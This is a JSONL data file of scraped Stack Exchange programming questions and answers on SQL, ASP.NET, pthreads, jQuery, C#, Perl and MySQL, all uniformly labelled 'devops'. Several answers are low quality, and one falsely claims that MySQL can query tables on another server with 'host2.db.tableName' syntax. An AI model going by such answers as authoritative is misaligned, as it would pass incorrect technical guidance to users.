{"id": "hf_beb421c6318e", "question": "<p>I've produced a python egg using setuptools and would like to access it's metadata at runtime. I currently got working this:</p>\n\n<pre><code>import pkg_resources\ndist = pkg_resources.get_distribution(\"my_project\")\nprint(dist.version)\n</code></pre>\n\n<p>but this would probably work incorrectly if I had multiple versions of the same egg installed. And if I have both installed egg and development version, then running this code from development version would pick up version of the installed egg. </p>\n\n<p>So, how do I get metadata for <em>my</em> egg not some random matching egg installed on my system? </p>\n", "question_body": "", "answer": "I am somewhat new to Python as well, but from what I understand:\nAlthough you can install multiple versions of the \"same\" egg (having the same name), only one of them will be available to any particular piece of code at runtime (based on your discovery method).  So if your egg is the one calling this code, it must have already been selected as\nthe\nversion of\n```\nmy_project\n```\nfor this code, and your access will be to your own version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.169336"}
{"id": "hf_99ba62808802", "question": "<p>What is the best way to convert an int or null to boolean value in an SQL query, such that:</p>\n\n<ul>\n<li>Any non-null value is <strong>TRUE</strong> in the results</li>\n<li>Any null value is <strong>FALSE</strong> in the results</li>\n</ul>\n", "question_body": "", "answer": "```\n```\nisnull(column - column + 1, 0) != 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.250667"}
{"id": "hf_46798e83b7b2", "question": "<p>How can I test sending email from my application without flooding my inbox? </p>\n\n<p>Is there a way to tell IIS/ASP.NET how to deliver email to a local folder for inspection?</p>\n", "question_body": "", "answer": "Yes there is a way.\nYou can alter web.config like this so\n  that when you send email it will\n  instead be created as an .EML file in\n  c:\\LocalDir.\n```\n```\n<configuration>  \n     <system.net>    \n      <mailSettings>      \n       <smtp deliveryMethod=\"SpecifiedPickupDirectory\">        \n        <specifiedPickupDirectory pickupDirectoryLocation=\"c:\\LocalDir\"/>      \n       </smtp>    \n      </mailSettings>  \n     </system.net>\n    </configuration>\n```\n```\nYou can also create an instance of the\n```\nSmtpClient\n```\nclass with these same settings, if you don't want to/can't change the web.config.  In C# that looks something like this:\n```\n```\nvar smtpClient = new SmtpClient();\nsmtpClient.DeliveryMethod = SmtpDeliveryMethod.SpecifiedPickupDirectory;\nvar emailPickupDirectory = HostingEnvironment.MapPath(\"~/EmailPickup\");\nif (!Directory.Exists(emailPickupDirectory)) { \n    Directory.CreateDirectory(emailPickupDirectory)\n}\nsmtpClient.PickupDirectoryLocation = emailPickupDirectory;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.330699"}
{"id": "hf_5633f6a39402", "question": "<p>This a bit of strange one.... We have an internal web app that runs on server (A) and a document repository that runs on server (B). </p>\n\n<p>I have simple link on a page and I want to enable the user to download a document(From IIS Server (A)). However this document does not exist on Server (A) until the user clicks the button(because there is 40+ documents to display cannot load them all when the page loads)</p>\n\n<p>When the user clicks the link(at which point I would like then to be prompted to download)\nThe  document is copied to server (A) and then redirected to a page where the browser prompts them to download. I believe I have set up the content header correctly and it works in FireFox. </p>\n\n<p>IE(7) just pops up a window and then the window disappears, If I turn down the security settings it works OK but that is not an option. </p>\n\n<p>Any Ideas how to solve this. I cannot point directly to the document on Server(B)</p>\n\n<p>ADDITION: Yes Server B is also a Web Server </p>\n", "question_body": "", "answer": "Can you use ajax? For example, the user clicks the button sending a request to get the file from B to A and a spinner shows up on the page. Then when the copy is done, you disable the spinner and give the user a download link.\nI was voted down and don't have comment privileges, so I figured I would elaborate here (perhaps this is just a terrible solution and I cannot see it):\nUser requests file by clicking link\nRequest is sent to server A and it disables the link via ajax\nServer A copies the file to a temporary directory from server B\nServer A sends back a link to the file in the temporary folder\nThis would work if the document server was not a webserver (SMB, AFS, NFS, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.361094"}
{"id": "hf_4ffc5d80d9c6", "question": "<p>Is there any easier solution in porting a windows manual-reset event to pthread,\nthan a pthread conditional-variable + pthread mutex + a flag if event is set or unset?</p>\n", "question_body": "", "answer": "Pthreads are low level constructs.  No, there isn't a simpler mechanism;\n```\npthread_cond__*\n```\nis conceptually similar to an auto-reset event.  Be careful,\n```\npthread_cond_wait\n```\nmay have spurious wakeups, so it should never be used without some sort of external flag regardless of the situation.\nBuilding your own wouldn't be too hard, though.\n```\n```\n#include <pthread.h>\n#include <stdbool.h>\n\nstruct mrevent {\n    pthread_mutex_t mutex;\n    pthread_cond_t cond;\n    bool triggered;\n};\n\nvoid mrevent_init(struct mrevent *ev) {\n    pthread_mutex_init(&ev->mutex, 0);\n    pthread_cond_init(&ev->cond, 0);\n    ev->triggered = false;\n}\n\nvoid mrevent_trigger(struct mrevent *ev) {\n    pthread_mutex_lock(&ev->mutex);\n    ev->triggered = true;\n    pthread_cond_signal(&ev->cond);\n    pthread_mutex_unlock(&ev->mutex);\n}\n\nvoid mrevent_reset(struct mrevent *ev) {\n    pthread_mutex_lock(&ev->mutex);\n    ev->triggered = false;\n    pthread_mutex_unlock(&ev->mutex);\n}\n\nvoid mrevent_wait(struct mrevent *ev) {\n     pthread_mutex_lock(&ev->mutex);\n     while (!ev->triggered)\n         pthread_cond_wait(&ev->cond, &ev->mutex);\n     pthread_mutex_unlock(&ev->mutex);\n}\n```\n```\nThis may not fit your usage, as you will often have a different lock that you'd want to use in place of\n```\nev->mutex\n```\n, but this is the gist of how it's typically used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.452303"}
{"id": "hf_bae19be6a997", "question": "<p>Let's say I have to implement a piece of T-SQL code that must return a table as result. I can implement a table-valued function or else a stored procedure that returns a set of rows. What should I use?</p>\n\n<p>In short, what I want to know is: </p>\n\n<p><strong>Which are the main differences between functions and stored procedures?</strong> What considerations do I have to take into account for using one or the other?</p>\n", "question_body": "", "answer": "If you're likely to want to combine the result of this piece of code with other tables, then obviously a table-valued function will allow you to compose the results in a single SELECT statement.\nGenerally, there's a hierarchy (View < TV Function < Stored Proc). You can do more in each one, but the ability to compose the outputs, and for the optimizer to get really involved decreases as the functionality increases.\nSo use whichever one minimally allows you to express your desired result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.476976"}
{"id": "hf_c87e969c067d", "question": "<p>Originally I thought to ask if there would be an easy way to provide an automatically managed last update field with MS Access.</p>\n\n<p>After some googling I found following approach:</p>\n\n<pre><code>Private Sub Form_Dirty(Cancel As Integer)\n\n   Me.Last_Update = Date()\n\nEnd Sub\n</code></pre>\n\n<p>Which seems to do the job. I thought I'd share it with others too (and if somebody has some good points that should be considered, feel free to share them)</p>\n", "question_body": "", "answer": "That might be your best choice on an access database with an access back end- but if you've got a MS-SQL back end, put an update trigger on the table so that you can catch edits regardless of where they come from.\n```\n```\nCREATE TRIGGER [Table_stampUpdates] ON [dbo].[Table]\n FOR Update \nAS \nBEGIN \nUPDATE Table\nSET \nmodified_by = right(system_user, len(system_user) - charindex('\\', system_user)), modified_on = getdate() \nFROM Table inner join inserted on Table.PrimaryKey = Inserted.PrimaryKey\n END\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.523547"}
{"id": "hf_a69a408cde6b", "question": "<p>I have an application in C# (2.0 running on XP embedded) that is communicating with a 'watchdog' that is implemented as a Windows Service. When the device boots, this service typically takes some time to start. I'd like to check, from my code, if the service is running. How can I accomplish this?</p>\n", "question_body": "", "answer": "I guess something like this would work:\nAdd\n```\nSystem.ServiceProcess\n```\nto your project references (It's on the .NET tab).\n```\n```\nusing System.ServiceProcess;\n\nServiceController sc = new ServiceController(SERVICENAME);\n\nswitch (sc.Status)\n{\n    case ServiceControllerStatus.Running:\n        return \"Running\";\n    case ServiceControllerStatus.Stopped:\n        return \"Stopped\";\n    case ServiceControllerStatus.Paused:\n        return \"Paused\";\n    case ServiceControllerStatus.StopPending:\n        return \"Stopping\";\n    case ServiceControllerStatus.StartPending:\n        return \"Starting\";\n    default:\n        return \"Status Changing\";\n}\n```\n```\nEdit: There is also a method\n```\nsc.WaitforStatus()\n```\nthat takes a desired status and a timeout, never used it but it may suit your needs.\nEdit: Once you get the status, to get the status again you will need to call\n```\nsc.Refresh()\n```\nfirst.\nReference:\nServiceController\nobject in .NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.548829"}
{"id": "hf_dcceb970ea9c", "question": "<p>I'd like to calculate the age of the messages in an Exchange mailbox to make sure they sit there for at least a minute before our program (C++, MAPI) processes them. This way the <a href=\"http://www.cloudmark.com/server/\" rel=\"nofollow noreferrer\">spam filter we use</a> should have enough time to do its job.</p>\n\n<p>Because the time on the PC where our program runs might be different from the time used by the Exchange server, our program has to read the server time via MAPI. </p>\n\n<p>Is there an elegant solution to it? One way I can think of is to modify some Item and immediately read its <em>PR_LAST_MODIFICATION_TIME</em>, but I'd like to avoid that.</p>\n\n<p><strong>Edit:</strong><br>\nOur program is a batch job that runs every 10 minutes and reads the journal mailbox.</p>\n", "question_body": "", "answer": "You can use\n```\nPR_MESSAGE_DELIVERY_TIME\n```\n.\nAs per\nMSDN\n:\nThe\n```\nPR_MESSAGE_DELIVERY_TIME\n```\nproperty describes the time the message was stored at the server, rather than the download time when the transport provider copied the message from the server to the local store.\nOther than that - when your solution runs on the client anyway - why not use the client time in the first place? Incorrect clock or not, for relative times (e.g. \"one minute after ...\") this should make no difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.572478"}
{"id": "hf_423feccaacdd", "question": "<p>In PHP I can name my array indices so that I may have something like:</p>\n\n<pre><code>$shows = Array(0 =&gt; Array('id' =&gt; 1, 'name' =&gt; 'Sesame Street'), \n               1 =&gt; Array('id' =&gt; 2, 'name' =&gt; 'Dora The Explorer'));\n</code></pre>\n\n<p>Is this possible in Python?</p>\n", "question_body": "", "answer": "Yes,\n```\n```\na = {\"id\": 1, \"name\":\"Sesame Street\"}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.631190"}
{"id": "hf_965eda85954a", "question": "<p>When designing business objects I have tried several different methods of writing the data access layer.  Some have worked out better than others but I have always felt there must be a \"better\" way. </p>\n\n<p>I would really just like to see the different ways people have handled the DAL in different situations and their opinon of how the technique worked or didn't work well.</p>\n", "question_body": "", "answer": "Unfortunately I don't think there is a \"better way\", it's too dependent on the specific situation as to what DAL approach you use.\nA great discussion of the \"state of the art\" is\nPatterns of Enterprise Application Architecture\nby Martin Fowler.\nChapter 10, Data Source Architectural Patterns specifically talks about most of the most commonly used patterns for business applications.\nIn general though, I've found using the simplest approach that meets the basic maintainability and adaptability requirements is the best choice.\nFor example on a recent project a simple \"Row Data Gateway\" was all I needed.  (This was simply code generated classes for each relevant database table, including methods to perform the CRUD operations).  No endless debates about ORM versus stored procs, it just worked, and did the required job well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.668177"}
{"id": "hf_6fccc888291c", "question": "<p>We are building a multi-tenant website in ASP.NET, and we must let each customer configure their own security model.  They must be able to define their own roles, and put users in those roles.  What is the best way to do this?</p>\n\n<p>There are tons of simple examples of page_load events that have code like:</p>\n\n<pre><code>  if (!user.InGroup(\"Admin\")\n       Response.Redirect(\"/NoAccess.aspx\");\n</code></pre>\n\n<p>But that hard codes the groups and permissions in the code.  How can I make it user configurable?</p>\n", "question_body": "", "answer": "I would create a configuration system for the website that is easily managed in config-files. Where you could get typed members and use like this.\n```\n```\nforeach(var group in ThisPageConfiguration.AcceptedRoleNames)\nif (user.IsInRole(group))\n...\n```\n```\nEach customer could then configure their site in their configuration files... And every other type of things you'd want to configure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.692003"}
{"id": "hf_996727bda790", "question": "<p>We are using log4j behind a selfmade wrapper. We plan to use much more features of it now. </p>\n\n<p>Should we update to logback ?</p>\n\n<p>(I mean the framework not a facade like SLF4J)</p>\n", "question_body": "", "answer": "Not exactly answering your question, but if you could move away from your self-made wrapper then there is\nSimple Logging Facade for Java (SLF4J)\nwhich Hibernate has now switched to (instead of commons logging).\nSLF4J suffers from none of the class loader problems or memory leaks observed with Jakarta Commons Logging (JCL).\nSLF4J supports JDK logging, log4j and logback. So then it should be fairly easy to switch from log4j to logback when the time is right.\nEdit: Aplogies that I hadn't made myself clear. I was suggesting using SLF4J to isolate yourself from having to make a hard choice between log4j or logback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.715792"}
{"id": "hf_bab9a641e894", "question": "<p>In Informix, how can I cast a <code>char(8)</code> type into a <code>money</code> type, so that I can compare it to another <code>money</code> type?</p>\n\n<p>Using \"<code>tblAid.amt::money as aid_amt</code>\" did not work.\nUsing \"<code>(tblAid.amt * 1) AS aid_amt</code>\" did not work.</p>\n", "question_body": "", "answer": "try this -->\n```\n```\nselect (disb_amt::NUMERIC) disb_amt from tmp_kygrants;\n```\n```\nYou may be able to compare the amounts as numeric.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.739826"}
{"id": "hf_a72ae503ddcf", "question": "<p>Most, if not all architecture documents I've seen (and developed) have been presented as a series of views (Logical, Physical, Use-case etc).  Is this the preferred layout?  What other styles are there?</p>\n", "question_body": "", "answer": "Since it's complex, it's hard to do otherwise.\nI like to start with the one-paragraph summary of the overall requirements.  If there isn't a one-paragraph summary, that's -- perhaps -- the most important thing to build.\nOnce the summary is out of the way, there's an overview of architectural features.  And after that, no one will read a single word.\nIt isn't a novel.  There's no story arc.  No drama.  No conflict.  No characters.  At least, I can't find a way to make an architecture readable.\nThe best you can hope for is a reference work with enough indexes, cross references, overviews and sidebars that people use it.\nIndeed, it's the pull-outs that matter.  The picture are all anyone will ever use.  And those will get put into PPT's for presentation internally and externally.\nSo, don't waste a lot of time on writing.  Invest time in overviews, summaries, feature lists and pictures people want to use every day.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.775123"}
{"id": "hf_2344fe8f1a23", "question": "<p>I have minified my javascript and my css.</p>\n\n<p>Now, Which is better?</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\n&lt;?\n  $r = file_get_contents('min.js');\n  if($r) echo $r;\n?&gt;\n&lt;/script&gt;\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"min.js\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>Same question for CSS.</p>\n\n<p>If the answer is 'sometimes because browsers fetch files simultaneously?'  Which browsers, and what are examples of the times in either scenario.</p>\n", "question_body": "", "answer": "```\n```\n<script type=\"text/javascript\" src=\"min.js\"></script>\n```\n```\n...is better, as the user's browser can cache the file.\nAdding a parameter to the\n```\nsrc\n```\nsuch as the file's last modified timestamp is even better, as the user's browser will cache the file but will always retrieve the most up to date version when the file is modified.\n```\n```\n<script type=\"text/javascript\" src=\"min.js?version=20081007134916\"></script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.811727"}
{"id": "hf_440a8e6dec8a", "question": "<p>Today at work we came across the following code (some of you might recognize it):</p>\n\n<pre><code>#define GET_VAL( val, type ) \\\n    {                                                   \\\n        ASSERT( ( pIP + sizeof(type) ) &lt;= pMethodEnd ); \\\n        val = ( *((type *&amp;)(pIP))++ );                  \\\n    }\n</code></pre>\n\n<p>Basically we have a byte array and a pointer. The macro returns a reference to a variable of type and advance the pointer to the end of that variable.</p>\n\n<p>It reminded me of the several times that I needed to \"think like a parser\" in order to understand C++ code.</p>\n\n<p>Do you know of other code examples that caused you to stop and read it several times till you managed to grasp what it was suppose to do?</p>\n", "question_body": "", "answer": "C, but present in C++, I find the comma operator really obfuscates code, take this...\n```\n```\nihi = y[0]>y[1] ? (inhi=1,0) : (inhi=0,1);\n```\n```\nTerse and quite elegant, but very easy to miss or misunderstand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.908351"}
{"id": "hf_521ac608fff2", "question": "<p>When you're passing variables through your site using GET requests, do you validate (regular expressions, filters, etc.) them before you use them?</p>\n\n<p>Say you have the URL <a href=\"http://www.example.com/i=45&amp;p=custform\" rel=\"nofollow noreferrer\">http://www.example.com/i=45&amp;p=custform</a>. You know that \"i\" will always be an integer and \"p\" will always contain only letters and/or numbers. Is it worth the time to make sure that no one has attempted to manipulate the values and then resubmit the page?</p>\n", "question_body": "", "answer": "Yes.  Without a doubt.  Never trust user input.\nTo improve the user experience, input fields can (and IMHO should) be validated on the client. This can pre-empt a round trip to the server that only leads to the same form and an error message.\nHowever, input must\nalways\nbe validated on the server side since the user can just change the input data manually in the GET url or send crafted POST data.\nIn a worst case scenario you can end up with an\nSQL injection\n, or even worse, a\nXSS\nvulnerability.\nMost frameworks already have some builtin way to clean the input, but even without this it's usually very easy to clean the input using a combination of regular exceptions and lookup tables.\nSay you know it's an integer, use int.Parse or match it against the regex \"^\\d+$\".\nIf it's a string and the choices are limited, make a dictionary and run the string through it. If you don't get a match change the string to a default.\nIf it's a user specified string, match it against a strict regex like \"^\\w+$\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.987505"}
{"id": "hf_17e46831f00a", "question": "<p>How do I toggle the visibility of an element using  <code>.hide()</code>, <code>.show()</code>, or <code>.toggle()</code>?</p>\n<p>How do I test if an element is <code>visible</code> or <code>hidden</code>?</p>\n", "question_body": "", "answer": "```\n```\nif ( $(element).css('display') == 'none' || $(element).css(\"visibility\") == \"hidden\"){\n    // 'element' is hidden\n}\n```\n```\nThe above method does not consider the visibility of the parent. To consider the parent as well, you should use\n```\n.is(\":hidden\")\n```\nor\n```\n.is(\":visible\")\n```\n.\nFor example,\n```\n```\n<div id=\"div1\" style=\"display:none\">\n  <div id=\"div2\" style=\"display:block\">Div2</div>\n</div>\n```\n```\nThe above method will consider\n```\ndiv2\n```\nvisible while\n```\n:visible\n```\nnot. But the above might be useful in many cases, especially when you need to find if there is any error divs visible in the hidden parent because in such conditions\n```\n:visible\n```\nwill not work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.011166"}
{"id": "hf_8824c4c205fb", "question": "<p>I have an MFC app which I have been working on for a few weeks now, I want to manually set the dimensions of the main frame when it is loaded, can someone give me a hand with this, specifically where to put the code as well?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Find your screen size with ..\n```\n```\nCRect rect;\nSystemParametersInfo(SPI_GETWORKAREA,0,&rect,0);\nscreen_x_size=rect.Width();  \nscreen_y_size=rect.Height();\n```\n```\nuse these values to calculate the X and Y size of your window then ..\n```\n```\n::SetWindowPos(m_hWnd,HWND_TOPMOST,0,0,main_x_size,main_y_size,SWP_NOZORDER);\n```\n```\nWhere\n```\nmain_x_size\n```\nand\n```\nmain_y_size\n```\nare your sizes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.037131"}
{"id": "hf_7849665b5c8e", "question": "<p>OK, another road bump in my current project.</p>\n\n<p>I have never had form elements in <strong>both</strong> my master and content pages, I tend to have all the forms in the content where relevant.</p>\n\n<p>In the current project however, we have a page where they want both. <strong>A login form at the top right, and a questions form in the content.</strong></p>\n\n<p>Having tried to get this in, I have run in to the issue of ASP.NET moaning about the need for a single form element in a master page. TBH, I really dont get why this is a requirement on ASP.NET's part, but hey ho.</p>\n\n<p><strong>Does anyone know if/how I can get the master and content pages to contain form elements that work independantly?</strong></p>\n\n<p>If not, can you offer advice on how to proceed to get the desired look/functionality?</p>\n", "question_body": "", "answer": "no, you can only have one asp.net form per page.\nThat has been the rule since 1.0\nThey should both share the same form", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.129678"}
{"id": "hf_e628ccd2f550", "question": "<p>Can MySql 5.0 views use tables that are located on another server?  What is the syntax for creating such a view?</p>\n", "question_body": "", "answer": "Yes, you can create objects in one database that reference another database and even another host. The syntax to do so works something like this:\n```\n```\nUSE localhost.myDB;\n\nSELECT * FROM host2.db.tableName;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.165071"}
{"id": "hf_111e2f667a0e", "question": "<p>Say I have the following:</p>\n\n<pre><code>&lt;ul&gt;\n &lt;li&gt;First item&lt;/li&gt;\n &lt;li&gt;Second item&lt;/li&gt;\n &lt;li&gt;Third item&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>How would I select all the child elements after the first one using jQuery?  So I can achieve something like:</p>\n\n<pre><code>&lt;ul&gt;\n &lt;li&gt;First item&lt;/li&gt;\n &lt;li class=\"something\"&gt;Second item&lt;/li&gt;\n &lt;li class=\"something\"&gt;Third item&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n", "question_body": "", "answer": "http://docs.jquery.com/Traversing/slice\n```\n```\n$(\"li\").slice(1).addClass(\"something\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.188521"}
{"id": "hf_76a9b127ac4e", "question": "<p>Is it better to do this:</p>\n<pre><code>try\n{\n    ...\n}\ncatch (Exception ex)\n{\n    ...\n    throw;\n}\n</code></pre>\n<p>Or this:</p>\n<pre><code>try\n{\n    ...\n}\ncatch (Exception ex)\n{\n    ...\n    throw ex;\n}\n</code></pre>\n<p>Do they do the same thing? Is one better than the other?</p>\n", "question_body": "", "answer": "You should always use the following syntax to rethrow an exception. Else you'll stomp the stack trace:\n```\n```\nthrow;\n```\n```\nIf you print the trace resulting from\n```\nthrow ex\n```\n, you'll see that it ends on that statement and not at the real source of the exception.\nBasically, it should be deemed a criminal offense to use\n```\nthrow ex\n```\n.\nIf there is a need to rethrow an exception that comes from somewhere else (AggregateException, TargetInvocationException) or perhaps another thread, you also shouldn't rethrow it directly. Rather there is the\nExceptionDispatchInfo\nthat preserves all the necessary information.\n```\n```\ntry\n{\n    methodInfo.Invoke(...);\n}\ncatch (System.Reflection.TargetInvocationException e)\n{\n    System.Runtime.ExceptionServices.ExceptionDispatchInfo.Capture(e.InnerException).Throw();\n    throw; // just to inform the compiler that the flow never leaves the block\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.234198"}
{"id": "hf_310d3a0d9f65", "question": "<p>Answers to a recent post (Any chances to imitate times() Ruby method in C#?) use the <b>=></b> operator in the usage examples.  What does this operator do?  I can't locate it in my C# book, and it is hard to search for symbols like this online.  (I couldn't find it.)</p>\n", "question_body": "", "answer": "It's not really an operator as such, it's part of the syntax for lambda expressions. In particular => is the bit which separates the parameters from the body of the lambda expression.\nDoes your book cover C# 3.0? If not, it won't include lambda expressions. If it does, it should really cover them! Hopefully with the right terminology, you'll be able to find it in the TOC or index.\nEDIT: A bit more information: A lambda expression is a piece of syntactic sugar to either create an instance of a delegate\nor\nan expression tree (the latter being new to .NET 3.5). Lambda expressions almost entirely replace anonymous methods (from C# 2.0) although they don't support the notion of \"I don't care about the parameters\" in the way that anonymous methods do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.321701"}
{"id": "hf_f0b4d28f57c2", "question": "<p>I'm just starting with CodeIgniter, and I am not sure where things such as css, js, and images should go. Outside the whole system folder seems ok, but that means everything is seperate. Inside means the filepaths are longer, and I'm worried that it might mess things up. What's the best practice on this issue?</p>\n", "question_body": "", "answer": "I usually put separate folders at the root level, so I end up with a directory structure like this:\n```\n```\n/system\n/css\n/js\n/img\n```\n```\nSeems to work for me - when you use\n```\nsite_url(url)\n```\n, the URL it generates is from the root, so you can use\n```\nsite_url('css/file.css')\n```\nto generate URLs to your stylesheets etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.345516"}
{"id": "hf_2ff1c58726cf", "question": "<p>How can I round a decimal number (floating point) to the nearest integer? </p>\n\n<p>e.g.</p>\n\n<pre><code>1.2 = 1\n1.7 = 2\n</code></pre>\n", "question_body": "", "answer": "You can either use a module like\nMath::Round\n:\n```\n```\nuse Math::Round;\nmy $rounded = round( $float );\n```\n```\nOr you can do it the crude way:\n```\n```\nmy $rounded = sprintf \"%.0f\", $float;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.415777"}
{"id": "hf_90e847b84e9e", "question": "<p>I have the following VB.net interface that I need to port to C#.  C# does not allow enumerations in interfaces.  How can I port this without changing code that uses this interface?</p>\n\n<pre><code>Public Interface MyInterface\n\n    Enum MyEnum\n        Yes = 0\n        No = 1\n        Maybe = 2\n    End Enum\n\n    ReadOnly Property Number() As MyEnum\n\nEnd Interface\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic enum MyEnum\n{\n    Yes = 0,\n    No = 1,\n    Maybe = 2\n}\n\npublic interface IMyInterface\n{\n    MyEnum Number { get; }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:54.450999"}
